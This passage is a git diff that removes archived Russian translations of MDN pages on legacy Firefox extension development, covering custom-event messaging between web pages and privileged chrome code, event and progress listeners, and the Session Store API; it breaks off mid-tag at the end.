diff options
Diffstat (limited to 'files/ru/archive')
78 files changed, 0 insertions, 11820 deletions
diff --git a/files/ru/archive/add-ons/index.html b/files/ru/archive/add-ons/index.html deleted file mode 100644 index 0973c0ebd8..0000000000 --- a/files/ru/archive/add-ons/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Add-ons -slug: Archive/Add-ons -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons ---- -<p>Archived add-ons documentation.</p> diff --git a/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html b/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html deleted file mode 100644 index c69aa35dc0..0000000000 --- a/files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: Взаимодействие между привилегированными и непривилегированными страницами -slug: Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages -translation_of: Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages ---- -<h2 id="Sending_data_from_unprivileged_document_to_chrome" name="Sending_data_from_unprivileged_document_to_chrome"><span id="result_box" lang="ru"><span>Отправка данных из непривилегированного документа в хром</span></span></h2> - -<p><span id="result_box" lang="ru"><span>Простым способом отправки данных с веб-страницы на расширение является использование пользовательских событий DOM.</span> <span class="alt-edited">В оверлее browser.xul вашего расширения, написать код, который прослушивает событие пользовательского DOM.</span> <span>Здесь мы вызываем событие MyExtensionEvent.</span></span></p> - -<pre class="brush: js">var myExtension = { - myListener: function(evt) { - alert("Received from web page: " + - evt.target.getAttribute("attribute1") + "/" + - evt.target.getAttribute("attribute2")); - } -} -document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true); -// <span id="result_box" lang="ru"><span>Последнее значение - специфичное для Mozilla значение, чтобы указать, что недоверенный контент разрешен для запуска события.</span></span> -</pre> - -<p><span id="result_box" lang="ru"><span>Данные с веб-страницы (непривилегированный код) будут значениями attribute1 и attribute2.</span> <span>Чтобы вызвать alert () в приемнике и передать данные с веб-страницы, напишите код, например, такой на веб-странице:</span></span></p> - -<pre class="brush: js">var element = document.createElement("MyExtensionDataElement"); -element.setAttribute("attribute1", "foobar"); -element.setAttribute("attribute2", "hello world"); -document.documentElement.appendChild(element); - -var evt = document.createEvent("Events"); -evt.initEvent("MyExtensionEvent", true, false); -element.dispatchEvent(evt); -</pre> - -<p><span id="result_box" lang="ru"><span>Этот код создает произвольный элемент -- <MyExtensionDataElement /> -- и вставляет его в DOM веб-страницы.</span></span> <span id="result_box" lang="ru"><span>Значения устанавливаются для двух произвольных атрибутов элемента.</span></span> <span id="result_box" lang="ru"><span>Их также можно назвать любыми, которые вам нравятся, но мы выбрали атрибуты attribute1 и attribute2.</span></span> <span id="result_box" lang="ru"><span>Наконец, код создает и отправляет пользовательское событие с именем MyExtensionEvent - подобно стандартным событиям нажатия DOM, которые вы ловите с обработчиками onclick.</span></span> <span id="result_box" lang="ru"><span>Событие всплывает на веб-странице и достигает расширения (привилегированный код), где ваш слушатель ловит его и читает значения атрибутов из элемента DOM, где возникло событие.</span></span></p> - -<p>( <span id="result_box" lang="ru"><span>Чтобы лучше гарантировать, что другие не реализуют одно и то же событие с другим значением, можно либо присоединить пространство имен к <MyExtensionDataElement /> и проверить обработчик события для правильного свойства namespaceURI, либо согласно спецификации DOM, использовать initEvent ()</span> <span>с именем события, которое само является пространством имен (только для имен XML)</span></span> : " <span id="result_box" lang="ru"><span>Также настоятельно рекомендуется, чтобы третьи стороны, добавляющие свои собственные события, использовали свой собственный префикс, чтобы избежать путаницы и уменьшить вероятность конфликтов с другими новыми событиями.</span></span> ")</p> - -<p><span id="result_box" lang="ru"><span>В случае, когда оверлей вашего расширения не взаимодействует напрямую с browser.xul, например на боковой панели, может быть проще добавить прослушиватель событий в документ верхнего уровня непосредственно, как показано ниже (см. также: доступ к элементам</span> <span>Документ верхнего уровня из дочернего окна).</span></span></p> - -<pre class="brush: js">var mainWindow = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor) - .getInterface(Components.interfaces.nsIWebNavigation) - .QueryInterface(Components.interfaces.nsIDocShellTreeItem) - .rootTreeItem - .QueryInterface(Components.interfaces.nsIInterfaceRequestor) - .getInterface(Components.interfaces.nsIDOMWindow); -mainWindow.document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true); -</pre> - -<p><span id="result_box" lang="ru"><span>Если вам нужно передать большое количество данных, рассмотрите возможность использования секций CDATA вместо простых атрибутов в настраиваемом элементе.</span></span></p> - -<p><span id="result_box" lang="ru"><span>Примечание: Если вы используете postMessage () HTML5 для отправки сообщения из непривилегированного кода в привилегированный код, добавление 'true' к концу прослушивателя событий в вашем привилегированном chrome коде позволит получить сообщение.</span></span></p> - -<p> </p> - -<pre class="brush: js" style="font-size: 14px;">document.addEventListener("message", function(e) { yourFunction(e); }, false, true);</pre> - -<h2 id="Sending_data_from_chrome_to_unprivileged_document" name="Sending_data_from_chrome_to_unprivileged_document"><span id="result_box" lang="ru"><span>Отправка данных из хрома в непривилегированный документ</span></span></h2> - -<p><span id="result_box" lang="ru"><span>Чтобы «ответить» на веб-страницу (например, код возврата), ваше расширение может установить атрибут или присоединить дочерние элементы в элементе назначения события (<MyExtensionDataElement /> в этом примере).</span></span></p> - -<p><span id="result_box" lang="ru"><span>Вы можете при желании очистить созданный элемент или создать его один раз при загрузке веб-страницы, а затем повторно использовать его каждый раз.</span></span></p> - -<p><span id="result_box" lang="ru"><span>Другой вариант - отправить событие возврата из расширения на веб-страницу.</span> <span>Это можно сделать, используя тот же принцип, что и вышеприведенный пример.</span></span></p> - -<p><span id="result_box" lang="ru"><span>Существует только одно расширение, но может быть много активных веб-страниц.</span> <span>Таким образом, чтобы вызвать нужное событие на правой странице, мы должны сообщить расширению, на какую страницу вызывать.</span> <span>Необходимая для этого информация содержится в файле evt.target.ownerDocument.</span></span></p> - -<p><span id="result_box" lang="ru"><span>Мы можем расширить приведенный выше пример с некоторой передачи данных из расширения на веб-страницу.</span> <span>В следующем примере кода два метода объединены:</span></span> <span id="result_box" lang="ru"><span>Установка дополнительного атрибута в исходном целевом элементе события и создание нового сообщения о событии с новым целевым элементом события.</span></span> <span id="result_box" lang="ru"><span>Для этого нам нужно определить оригинальный целевой элемент глобально.</span> <span>Нам нужен новый триггер события на веб-странице и некоторый код, чтобы показать, что сообщение о событии действительно прибыло.</span> <span>В расширении нам нужно отправить сообщение о событии на нужную веб-страницу.</span></span></p> - -<p><span id="result_box" lang="ru"><span>Код, содержащий обратный вызов, может выглядеть так:</span></span></p> - -<p><span class="short_text" id="result_box" lang="ru"><span>В расширении:</span></span></p> - -<pre class="brush: js">var myExtension = -{ - myListener: function(evt) - { - alert("Received from web page: " + - evt.target.getAttribute("attribute1") + "/" + - evt.target.getAttribute("attribute2")); - -/* the extension answers the page*/ - evt.target.setAttribute("attribute3", "The extension"); - - var doc = evt.target.ownerDocument; - - var AnswerEvt = doc.createElement("MyExtensionAnswer"); - AnswerEvt.setAttribute("Part1", "answers this."); - - doc.documentElement.appendChild(AnswerEvt); - - var event = doc.createEvent("HTMLEvents"); - event.initEvent("MyAnswerEvent", true, false); - AnswerEvt.dispatchEvent(event); - } -} - -document.addEventListener("MyExtensionEvent", function(e) { myExtension.myListener(e); }, false, true); -// <span id="result_box" lang="ru"><span>Последнее значение - специфичное для Mozilla значение, чтобы указать, что недоверенный контент разрешен для запуска события.</span></span> -</pre> - -<p><span class="short_text" id="result_box" lang="ru"><span>На веб-странице:</span></span></p> - -<pre class="brush: js">document.addEventListener("MyAnswerEvent",function(e) { ExtensionAnswer(e); },false); - -var element; - -function CallExtension() -{ - var element = document.createElement("MyExtensionDataElement"); - element.setAttribute("attribute1", "foobar"); - element.setAttribute("attribute2", "hello world"); - document.documentElement.appendChild(element); - var evt = document.createEvent("Events"); - evt.initEvent("MyExtensionEvent", true, false); - element.dispatchEvent(evt); -} - -function ExtensionAnswer(EvtAnswer) -{ - alert(element.getAttribute("attribute3") + " " + - EvtAnswer.target.getAttribute("Part1")); -} -</pre> - -<p><span id="result_box" lang="ru"><span>Основной пример подобной идеи, расширение передает информацию через атрибуты и запускает событие на div на странице,</span></span> <a href="http://forums.mozillazine.org/viewtopic.php?p=3192410#3192410">тут</a>.</p> - -<h2 id="Хром-подобные_сообщения_запрос_json_с_обратным_вызовом_json"><span id="result_box" lang="ru"><span>Хром-подобные сообщения: запрос json с обратным вызовом json</span></span></h2> - -<p><span class="short_text" id="result_box" lang="ru"><span>Веб-страница:</span></span></p> - -<pre class="brush: html"><html> - <head> - <script> - var something = { - send_request: function(data, callback) { // analogue of chrome.extension.sendRequest - var request = document.createTextNode(JSON.stringify(data)); - - request.addEventListener("something-response", function(event) { - request.parentNode.removeChild(request); - - if (callback) { - var response = JSON.parse(request.nodeValue); - callback(response); - } - }, false); - - document.head.appendChild(request); - - var event = document.createEvent("HTMLEvents"); - event.initEvent("something-query", true, false); - request.dispatchEvent(event); - }, - - callback: function(response) { - return alert("response: " + (response ? response.toSource() : response)); - } - } - </script> - </head> - <body> - <button onclick="return something.send_request({foo: 1}, something.callback)">send {foo: 1} with callback</button> - <button onclick="return something.send_request({baz: 3}, something.callback)">send {baz: 3} with callback</button> - <button onclick="return something.send_request({mozilla: 3})">send {mozilla: 3} without callback</button> - <button onclick="return something.send_request({firefox: 4}, something.callback)">send {firefox: 4} with callback</button> - </body> -</html> -</pre> - -<p><span id="result_box" lang="ru"><span>Наложите оверлей на browser.xul в своем расширении:</span></span></p> - -<pre class="brush: js">var something = { - listen_request: function(callback) { // analogue of chrome.extension.onRequest.addListener - document.addEventListener("something-query", function(event) { - var node = event.target; - if (!node || node.nodeType != Node.TEXT_NODE) - return; - - var doc = node.ownerDocument; - callback(JSON.parse(node.nodeValue), doc, function(response) { - node.nodeValue = JSON.stringify(response); - - var event = doc.createEvent("HTMLEvents"); - event.initEvent("something-response", true, false); - return node.dispatchEvent(event); - }); - }, false, true); - }, - - callback: function(request, sender, callback) { - if (request.foo) { - return setTimeout(function() { - callback({bar: 2}); - }, 1000); - } - - if (request.baz) { - return setTimeout(function() { - callback({quux: 4}); - }, 3000); - } - - if (request.mozilla) { - return alert("alert in chrome"); - } - - return callback(null); - } -} - -something.listen_request(something.callback); -</pre> - -<p><a href="http://code.google.com/chrome/extensions/messaging.html">Передача сообщения в хроме</a></p> - -<h2 id="Отправка_структурированных_данных"><span class="short_text" id="result_box" lang="ru"><span>Отправка структурированных данных</span></span></h2> - -<p><span id="result_box" lang="ru"><span>Вышеупомянутые механизмы используют атрибуты элементов и, таким образом, являются только строками.</span> <span>Вы можете переносить объекты.</span> <span>Gecko запрещает chrome получать доступ к свойствам настраиваемого объекта, добавленным содержимым, поскольку это может создать дыры в безопасности.</span> <span>Обходной путь - рассматривать связь между веб-страницей и chrome как обычным сетевым протоколом и использовать XML.</span></span></p> - -<p><span id="result_box" lang="ru"><span>С атрибутами элементов и <a href="/en-US/docs/E4X">E4X</a> это довольно просто.</span> <span>Однако вам нужно конвертировать данные в / из объектов E4X.</span> <span>И ваш chrome должен тщательно проверять каждое пройденное значение (вам нужно сделать это в любом случае).</span></span></p> - -<pre class="brush: js">var targetDoc = null; - -function onLoad() { - var iframe = document.getElementById("contentiframe"); - targetDoc = iframe.contentDocument; - iframe.contentWindow.addEventListener("newStuff", receiveStuffFromPage, false); -} - -function receiveStuffFromPage(event) { - var uc = getEventData(event); // uc = unchecked data in form of E4X XML - var stuff = {}; - stuff.id = sanitize.integer(uc.@id); - stuff.name = sanitize.label(uc.@name); -} - -function sendSomethingToPage (something) { - var somethingXML = <something/>; // |something| object as E4X XML - somethingXML.@id = something.id; - somethingXML.@weight = something.weight; - sendMsg("sendSomething", somethingXML); -} - -/** - * <span class="short_text" id="result_box" lang="ru"><span>Отправить сообщение с chrome на страницу</span></span> - * <span id="result_box" lang="ru"><span>@param type {String} тип события.</span> <span>Получателю необходимо использовать</span></span> - * <span class="short_text" id="result_box" lang="ru"><span>при выполнении addEventListener (type, ...)</span></span> - * <span class="short_text" id="result_box" lang="ru"><span>@param dataXML {E4X} данные или детали</span></span> - */ -function sendMsg(type, dataXML) { - var el = targetDoc.body; - el.setAttribute("eventDataToPage", dataXML ? dataXML.toString() : ""); - var event = targetDoc.createEvent("Event") - event.initEvent(type, true, true); - el.dispatchEvent(event); -} - -/** - * Verifies that the event is indeed coming from our page - * as expected, and returns the data for that event. - * @returns {E4X} the (unchecked) detail data from the page. - * You must check the data. - * @see <https://developer.mozilla.org/en-US/docs/Code_snippets/ - * Interaction_between_privileged_and_non-privileged_pages#Security_notes> - */ -function getEventData(event) { - if (event.target.ownerDocument != targetDoc) - throw "event from unexpected source"; - return new XML(event.target.getAttribute("eventDataFromPage")); -} -</pre> - -<h2 id="Security_notes" name="Security_notes"><span class="short_text" id="result_box" lang="ru"><span>Заметки о безопасности</span></span></h2> - -<ul> - <li><span id="result_box" lang="ru"><span>Никогда не вызывайте JavaScript-функции веб-страницы из вашего расширения - это увеличивает вероятность создания брешей в безопасности, когда вредоносная веб-страница может обмануть браузер, чтобы запустить его код с расширенными привилегиями (как и ваше расширение), например, с помощью</span> <span>возможности удалять локальные файлы.</span></span></li> - <li><span id="result_box" lang="ru"><span>Настоятельно рекомендуется проверить источник события (через event.target.ownerDocument.location) и сделать так, чтобы ваше расширение игнорировало любые события со страниц, не связанных с вашим сервером.</span></span></li> -</ul> - -<h2 id="Resources" name="Resources"><span class="short_text" id="result_box" lang="ru"><span>Ресурсы</span></span></h2> - -<p><a href="http://forums.mozillazine.org/viewtopic.php?p=2955601">Обсуждения на форуме Mozillazine</a></p> - -<p><a href="/en-US/docs/Communication_between_HTML_and_your_extension">Связь между HTML и вашим расширением</a></p> - -<h2 id="Смотрите_также"><span class="short_text" id="result_box" lang="ru"><span>Смотрите также</span></span></h2> - -<ul> - <li><a href="/en-US/docs/Web/API/CustomEvent" title="/en-US/docs/Web/API/CustomEvent">CustomEvent</a></li> - <li><a href="/en-US/docs/Web/API/window.postMessage" title="/en-US/docs/Web/API/window.postMessage">Window.postMessage</a></li> - <li><a class="external" href="http://hyperstruct.net/2006/08/18/exchanging-data-between-chrome-and-content/" title="http://hyperstruct.net/2006/08/18/exchanging-data-between-chrome-and-content/">http://hyperstruct.net/2006/08/18/exchanging-data-between-chrome-and-content/</a></li> -</ul> - -<p>{{ languages( { "fr": "fr/Extraits_de_code/Interaction_entre_des_pages_à_privilèges_et_sans_privilèges", "ja": "ja/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" } ) }}</p> diff --git a/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html b/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html deleted file mode 100644 index 4d6074ac4f..0000000000 --- a/files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Обработка событий в расширениях Firefox -slug: Archive/Add-ons/Listening_to_events_in_Firefox_extensions -translation_of: Archive/Add-ons/Listening_to_events_in_Firefox_extensions ---- -<p>Gecko использует события (<a class="internal" href="/en/DOM/event" title="En/DOM/Event">events<span style="color: #000000;">)</span></a> для передачи информации о происходящем во время работы браузера тем модулям, которые желают знать об этом. События подразделяются на несколько различных категорий. Данная статья поможет Вам узнать основную информацию об этом и даст ссылки на более подробную документацию, описывающую каждую из категорий. Также в этой статье описаны несколько случаев, предоставляющих особый интерес.</p> -<h2 id="Типы_событий">Типы событий</h2> -<p>Существует множесто типов событий, которые могут использовать авторы приложений и расширений для получения оповещений от элементов браузера (<a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a>) и закладок (<code><a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser">tabbrowser</a></code>) об изменениях, связанных с загруженным в них содержимым.</p> -<h3 id="Простые_DOM-события">Простые DOM-события</h3> -<p>Для обработки простого DOM-события используйте такой код:</p> -<pre>function callback(evt) { - // Здесь Ваш код. Проверяйте значение evt.target чтобы обрабатывать только нужные события. -} - -b.addEventListener("event", callback, false) -</pre> -<p>В приведенном примере <strong><code>b</code></strong> - это браузер (<a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a>) или закладка (<code><a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser">tabbrowser</a></code>), от которой Вы хотите получать события. Имейте в виду, что события могут приходить от любого фрейма внутри браузера или в случае закладки - от нескольких браузеров с такой закладкой.</p> -<p>Ниже пречислены наиболее интересные DOM-события:</p> -<table class="standard-table"> - <tbody> - <tr> - <td class="header">Событие</td> - <td class="header">Описание</td> - </tr> - <tr> - <td><code>DOMLinkAdded</code></td> - <td>Генерируется, когда в документе обнаружена новая ссылка (HTML элемент <a class="internal" href="/en/HTML/Element/link" title="En/HTML/Element/Link"><code><link></code></a>).</td> - </tr> - <tr> - <td><code>DOMTitleChanged</code></td> - <td>Генерируется, когда изменен заголовок страницы.</td> - </tr> - <tr> - <td><code>DOMContentLoaded</code></td> - <td>Генерируется, когда инициализация DOM полностью завершена.</td> - </tr> - <tr> - <td><code>load</code></td> - <td><span style="display: none;"> </span>Генерируется, когда страница, включая картинки, была полностью загружена.</td> - </tr> - <tr> - <td><code>unload</code></td> - <td>Генерируется, когда пользователь закрыл страницу.</td> - </tr> - <tr> - <td><code>pageshow</code></td> - <td>Генерируется, когда страница показана вновь.</td> - </tr> - <tr> - <td><code>pagehide</code></td> - <td>Генерируется, когда страница скрыта.</td> - </tr> - </tbody> -</table> -<p>Более детально о событиях <strong><code>load</code></strong>, <strong><code>unload</code></strong>, <strong><code>pageshow</code> </strong>and <strong><code>pagehide</code>, </strong>а также о других событиях читайте в статье <a class="internal" href="/En/Using_Firefox_1.5_caching" title="En/Using Firefox 1.5 caching">Firefox's caching behaviour</a>.</p> -<h3 id="Обработчики_процесса_загрузки">Обработчики процесса загрузки</h3> -<p>Для отображения дополнительной информации о ходе загрузки данных из веба можно использовать обработчики процесса загрузки. Они предоставляют детальную информацию о ходе загрузки данных из веба. И браузер (<a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a>) и закладка (<code><a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser">tabbrowser</a></code>) поддерживают следующие конструкции:</p> -<pre>var progressListener = { - // add nsIWebProgressImplementation here -} - -b.addProgressListener(progressListener); -</pre> -<p>Where <code>b</code> is the <code>browser</code> or <code>tabbrowser</code> you want to listen to events for. There are code snippets available that give more detail on <a class="internal" href="/en/Code_snippets/Progress_Listeners" title="en/Code snippets/Progress Listeners">using web progress listeners</a>.</p> -<p>For a <code>tabbrowser,</code> the above code will only get events from the browser that is currently displayed at the time the event occurs. In order to listen to events from all browsers, including those not currently being displayed, the following example can be used:</p> -<pre>var tabsProgressListener = { - // add tabs progress listener implementation here -} - -gBrowser.addTabsProgressListener(tabsProgressListener); -</pre> -<p>This lets you receive events related to all tabs. More information about <a class="internal" href="/En/Listening_to_events_on_all_tabs" title="En/Listening to events on all tabs"><span class="external">listening to events from all tabs</span></a> is available.</p> -<p>{{ fx_minversion_note("3") }}</p> -<h2 id="How_events_are_used_by_Firefox">How events are used by Firefox</h2> -<p>The Firefox frontend already listens for a number of these progress events from web pages. Most of this goes on in <code>browser.js</code>.</p> -<h3 id="DOMLinkHandler">DOMLinkHandler</h3> -<p>The <code>DOMLinkHandler</code> object is called by the <code>DOMLinkAdded</code> event in order to detect any RSS feeds, site icons, or OpenSearch plugins for the web site.</p> -<h3 id="pageShowEventHandlers">pageShowEventHandlers</h3> -<p>The <code>pageShowEventHandlers()</code> function is called by the <code>pageshow</code> event and is used to populate the character set menu and update the UI elements associated with any detected feeds or OpenSearch plugins for the website.</p> -<h3 id="XULBrowserWindow">XULBrowserWindow</h3> -<p><a href="/en/XULBrowserWindow" title="en/XULBrowserWindow"><code>XULBrowserWindow</code></a> is an {{ interface("nsIWebProgressListener") }} used to get progress events for the currently visible browser. It is used to update the UI for many different reasons:</p> -<ul> - <li>Update the progress bar and status messages as pages load</li> - <li>Turn on and off the throbber as pages load</li> - <li>Set the site icon when available</li> - <li>Update the address bar as the user navigates</li> - <li>Hide notification bars when appropriate as the user navigates</li> - <li>Apply the site zoom preferences to newly loading pages</li> - <li>Update the bookmarking star button UI</li> - <li>Update the identity display as the site's security changes</li> -</ul> -<h3 id="TabsProgressListener">TabsProgressListener</h3> -<p>This object is a tabs progress listener and receives events for all browsers in the window. It is used to detect when a webpage attempts to refresh itself and allow the user to block the attempt.</p> -<h2 id="How_events_are_used_by_the_tabbrowser">How events are used by the tabbrowser</h2> -<p><code>tabbrowser</code> maintains a set of objects relating to progress listening for each browser. First it creates a <code>browser-status-filter</code> and adds it as a web progress listener for the browser. Next it creates an internal object to receive all web progress events from the browser. This is created by the method <code>mTabProgressListener()</code>. This receives events from the <code>browser-status-filter</code>. The filter acts to reduce the number of status and progress events to improve performance. The filters are held in the array <code>mFilters</code>, the internal listeners in the array <code>mTabListeners</code>.</p> -<p>The internal listeners are used to send out progress events to listeners registered with <a class="internal" href="/en/XUL/Method/addProgressListener" title="En/XUL/Method/AddProgressListener"><code>addProgressListener()</code></a> (which receives events from the browser that is currently visible) and <a class="internal" href="/En/XUL/Method/AddTabsProgressListener" title="En/XUL/Method/AddTabsProgressListener"><code>addTabsProgressListener()</code></a> (which receives events from all browsers).</p> -<h2 id="See_also">See also</h2> -<ul> - <li><a class="internal" href="/en/DOM/event" title="En/DOM/Event"><code>event</code></a></li> - <li><a class="internal" href="/En/Listening_to_events_on_all_tabs" title="En/Listening to events on all tabs">Listening to events on all tabs</a></li> - <li><a class="internal" href="/En/DOM/Mouse_gesture_events" title="en/Mouse gesture events">Mouse gesture events</a></li> - <li><a class="internal" href="/en/Code_snippets/Progress_Listeners" title="en/Code snippets/Progress Listeners">Code snippets: Progress listeners</a></li> -</ul> -<div id="cke_pastebin" style="position: absolute; top: 772.5px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> - </div> diff --git a/files/ru/archive/add-ons/session_store_api/index.html b/files/ru/archive/add-ons/session_store_api/index.html deleted file mode 100644 index 3f9ea7078a..0000000000 --- a/files/ru/archive/add-ons/session_store_api/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Session store API -slug: Archive/Add-ons/Session_store_API -translation_of: Archive/Add-ons/Session_store_API ---- -<p>{{ Fx_minversion_header(2) }} Session store makes it possible for <a href="/en-US/docs/Extensions" title="en/Extensions">extensions</a> to easily save and restore data across Firefox sessions. There is a simple API that lets extensions access the session store feature.</p> -<p>One key scenario in which supporting this feature can be crucial for an extension: Firefox 2 lets users undo the closing of tabs. In order to properly restore your extension's state when a tab is restored, it needs to use the session store API's <code>setTabValue()</code> method to save any data it will need in order to restore its state, and then call <code>getTabValue()</code> to retrieve the previous setting when the tab is restored.</p> -<p>The Session Store API is implemented using the {{ Interface("nsISessionStore") }} interface.</p> -<h2 id="Knowing_when_to_restore" name="Knowing_when_to_restore">Knowing when to restore</h2> -<p>Each time Firefox is about to restore a tab, an event of type <code>SSTabRestoring</code> is sent. If your extension wants to be able to restore data when tabs are restored, you can install a listener like this:</p> -<pre>function myExtensionHandleRestore(aEvent) { - var tab = event.originalTarget; /* the tab being restored */ - var uri = tab.linkedBrowser.contentDocument.location; /* the tab's URI */ - - Components.classes["@mozilla.org/consoleservice;1"] - .getService(Components.interfaces.nsIConsoleService) - .logStringMessage("restoring tab: " + uri); -}; - -document.addEventListener("SSTabRestoring", myExtensionHandleRestore, false); -</pre> -<p>Simply replace the contents of the function <code>myExtensionHandleRestore()</code> with whatever you need to do when the tab is restored. In this example, <code><a href="/en-US/docs/nsIConsoleService" title="en/nsIConsoleService">nsIConsoleService</a></code> is used to display a message to the <a href="/en-US/docs/Error_Console" title="en/Error_Console">console</a>.</p> -<p>This event is sent just before a tab is restored. An event of type <code>SSTabRestored</code> fires each time a tab has finished restoring. It's worth noting that this event is sent even if tab loading at startup is deferred until the user selects the tab.</p> -<p>{{ fx_minversion_note("3", 'In Firefox 3 and later, if you need to detect when a tab is about to be closed so that you can update data associated with the tab before it is closed, you can watch for the "SSTabClosing" event, which is sent to the tab.') }}</p> -<h3 id="Restoring_without_restarting">Restoring without restarting</h3> -<p>{{ fx_minversion_note("3.6", "This section applies to Firefox 3.6 and later.") }}</p> -<p>Firefox 3.6 knows how to save session store data when the last browser window closes, even if there are still other windows open. Similarly, it can now restore the user's session while in that state. In other words, it's now possible for sessions to be restored even without the browser quitting and being relaunched. This is something you may need to keep in mind if you rely on the behavior of the session store system.</p> -<h2 id="The_session_restore_process" name="The_session_restore_process">The session restore process</h2> -<p>The exact sequence of events that occurs when a session is being restored is:</p> -<ol> - <li>A session state is about to be restored. This can be on startup or in response to Undo Close Tab, since closed tabs are restored as single-tab sessions.</li> - <li>New windows are opened as required (one for each window that was saved in the session store), and cookies and the list of recently closed tabs are restored.</li> -</ol> -<p>After that, the following steps are taken for each tab being restored:</p> -<ol> - <li>Either an existing tab is reused or a new tab is created. In the latter case, a <code>TabOpen</code> event is sent.</li> - <li>The tab's persistent XUL attributes (those saved due to calls to <code><a href="/en-US/docs/nsISessionStore#persistTabAttribute.28.29" title="en/nsISessionStore#persistTabAttribute.28.29">persistTabAttribute()</a></code>) and permissions are restored.</li> - <li>The <code>SSTabRestoring</code> event is sent.</li> - <li>The tab is told to load the URL it should be displaying.</li> - <li>When the page is finished loading, text fields and scroll state are restored.</li> - <li>Finally, the <code>SSTabRestored</code> event is sent.</li> -</ol> -<p>If you want to set permissions or otherwise manipulate a restored tab before the page is loaded into it, you should watch <code>SSTabRestoring</code>. If you want to do something after the page is loaded, you should watch <code>SSTabRestored</code>.</p> -<p>Both events are always sent for each tab being restored. You can determine which tab is being restored by looking at the event's <code>originalTarget</code> field.</p> -<p>There's not really a way to determine when the last tab has been restored unless you determine how many tabs need to be restored then count the <code>SSTabRestored</code> events.</p> -<h2 id="Using_the_session_store_API" name="Using_the_session_store_API">Using the session store API</h2> -<p>This section provides a few simple examples of how to make use of the session store API.</p> -<h3 id="Saving_a_value_with_a_tab" name="Saving_a_value_with_a_tab">Saving a value with a tab</h3> -<p>The following code will attach a key/value pair to a tab, so that when the tab is restored, that pair is still associated with it.</p> -<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"] - .getService(Components.interfaces.nsISessionStore); - var currentTab = gBrowser.selectedTab; - var dataToAttach = "I want to attach this"; - ss.setTabValue(currentTab, "key-name-here", dataToAttach); -</pre> -<p>This code sets the value of the key "key-name-here" to <var>dataToAttach</var>. You may use any JavaScript object as the data.</p> -<h3 id="Fetching_a_saved_value" name="Fetching_a_saved_value">Fetching a saved value</h3> -<p>You can fetch a value associated with a tab at any time (whether the tab is in the process of being restored or not), using code similar to the following:</p> -<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"] - .getService(Components.interfaces.nsISessionStore); - var currentTab = gBrowser.selectedTab; - var retrievedData = ss.getTabValue(currentTab, "key-name-here"); -</pre> -<p>After this code executes, the variable <var>retrievedData</var> contains the value saved for the key "key-name-here". <var>retrievedData</var> is undefined if there is no value saved for that key name.</p> -<h3 id="Deleting_a_value_associated_with_a_tab" name="Deleting_a_value_associated_with_a_tab">Deleting a value associated with a tab</h3> -<p>To delete a value from a tab, you can use code similar to the following:</p> -<pre class="eval"> var ss = Components.classes["@mozilla.org/browser/sessionstore;1"] - .getService(Components.interfaces.nsISessionStore); - var currentTab = gBrowser.selectedTab; - ss.deleteTabValue(currentTab, "key-name-here"); -</pre> -<h3 id="Remarks" name="Remarks">Remarks</h3> -<p>The window value save and restore functions work exactly like the tab-based functions by similar names.</p> -<p>Starting in Firefox 3.5, notifications are sent after reading session store data and before using it, as well as immediately before writing it back to disk. <a class="internal" href="/en-US/docs/Observer_Notifications#Session_Store" title="en/Observer Notifications#Session Store">See the list in Observer Notifications</a>.</p> -<h2 id="Using_the_session_store_API" name="Using_the_session_store_API">Using the session store API in SeaMonkey</h2> -<p>There are a number of differences between the session store API in Firefox and the API in SeaMonkey 2.0:</p> -<ul> - <li>The class name is <strong><span style="font-family: Courier New;">@mozilla.org/suite/sessionstore;1</span></strong></li> -</ul> -<pre class="eval">var ss = Components.classes["@mozilla.org/suite/sessionstore;1"] - .getService(Components.interfaces.nsISessionStore);</pre> -<ul> - <li>When restoring a window, closed tabs in that window are not currently restored.</li> - <li>When closing a tab, SeaMonkey does not generate SSTab events. This means that you cannot currently tell if a tab has been saved or restored. However SeaMonkey reuses the browser element (up to the undo close tab limit) which means that you can set state on the browser element and it will be restored with the tab.</li> -</ul> -<h2 id="See_also" name="See_also">See also</h2> -<p>{{interface("nsISessionStore")}}</p> diff --git a/files/ru/archive/apps/advanced_topics/index.html b/files/ru/archive/apps/advanced_topics/index.html deleted file mode 100644 index 982d8aba81..0000000000 --- a/files/ru/archive/apps/advanced_topics/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Advanced topics -slug: Archive/Apps/Advanced_topics -translation_of: Archive/Apps/Advanced_topics ---- -<p>Эти статьи дают экстра информацию на более продвинутые темы об Открытых Веб Приложениях.</p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 class="Documentation" id="Architecture" name="Architecture">Документация архитектуры приложений</h2> - -<dl> - <dt><a href="/en-US/docs/Web/Apps/Architecture">Архитектура веб приложений</a></dt> - <dd>An overview of the architecture behind the Open Web Apps project's design and implementation.</dd> - <dt><a href="/en-US/docs/Web/Apps/Platform-specific_details">Специфичные-платформе детали установки приложения</a></dt> - <dd>There are some differences in how apps are installed across the various platforms that support Open Web Apps; this article will help you to understand them.</dd> - <dt><a 